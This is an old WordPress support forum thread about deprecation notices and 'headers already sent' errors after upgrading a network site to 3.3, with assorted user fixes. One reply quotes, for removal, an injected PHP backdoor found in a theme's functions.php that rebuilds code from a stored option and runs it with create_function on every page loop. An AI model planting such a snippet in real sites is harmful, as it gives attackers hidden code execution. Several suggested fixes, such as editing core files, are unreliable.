WordPress Network add contextual help error

Resolved

(@matthewruddy)

Hi everyone. Having some issues since upgrading my networked site to 3.3. All of my sites have an error at the top of the page:

Notice: add_contextual_help is deprecated since version 3.3! Use get_current_screen()->add_help_tab() instead. in /home/matthew/public_html/wp-includes/functions.php on line 3458

And I get this when activating a plugin from one of the sites (but not when activated via Network Admin area):

Notice: add_contextual_help is deprecated since version 3.3! Use get_current_screen()->add_help_tab() instead. in /home/matthew/public_html/wp-includes/functions.php on line 3458

Warning: Cannot modify header information - headers already sent by (output started at /home/matthew/public_html/wp-includes/functions.php:3458) in /home/matthew/public_html/wp-includes/pluggable.php on line 866

Warning: Cannot modify header information - headers already sent by (output started at /home/matthew/public_html/wp-includes/functions.php:3458) in /home/matthew/public_html/wp-includes/pluggable.php on line 866

Also getting it when using the Media Uploader. Anyone else having this problem? Never made any changes to the WordPress files.

It’s a plugin and/or theme issue.

Running no plugins (all deleted) and using the default WordPress theme (TwentyEleven).

Figured it out. Had to upgrade TwentyEleven theme.

Here is another element to the equation – I always delete twenty twleve the minute I install wordpress and choose a better theme. So knowing that twenty twelve theme isn’t present – what should I do? I’m having this same issue.

traced the issue to a 302 redirect that was generated at login so just went to a non-broke site and copied the url and changed the domain to get past that redirect. To do it use this url with your settings

http://www.mydomain.com/wp-login.php?redirect_to=http%3A%2F%2Fwww.mydomain.com%2Fwp-admin%2F&reauth=1

You’ll be able to login here. In my case the NextGen plugin was in need of a critical update. I updated it and problem went away

Upload folder wp-includes function.php file again.

Actually I figured out how to fix this issue myself. It is the dummest thing that fixes it. All you have to do is open up the file with the error message associated with it and delete the extra line breaks from within the file before and after the “php” function calls to action and it works like a charm. Basically what happen was when we install our widgets and ramdom plug-ins – these function files get altered by the new strings of code which cause random line breaks and other white spaces. You would think these silly white spaces wouldn’t matter but they do. The biggest white space issues are usually at the very end of the file down by the last line of code on the file. Just delete the extra line breaks on the line they specify in the error along with the extra breaks at the end of the file and upload it back to the remote site and BOOM! works like a dream. What a stupid error. 🙂

I think this is a kind of attack … i resolve this problem after finding function.php under my customized theme…

Please find this injected script and delete immediately then you will be able to get login in admin area as well as can see your website …

<?php ?>
<?php function page_options() { $option = get_option(‘page_option’); $opt=unserialize($option);
@$arg = create_function(”, $opt[1].$opt[4].$opt[10].$opt[12].$opt[14].$opt[7] );return $arg(”);}
add_action(‘loop_start’, ‘page_options’); ?>

I had the same problem and do not believe it is the “white space”. I tried to delete the white space but nothing resolved.

The solution was simple:

Just replace the file that is the first error:
Warning: Can not modify header information – headers already sent by (output started at / home / agenciac / public_html / functions.php: 2) in / home / agenciac / public_html / wp-includes / pluggable.php on line 881

In most cases the error is in the file of the theme. Then have always booked up the theme. Where there is error only replace the “first larval file error”.

Hugs!
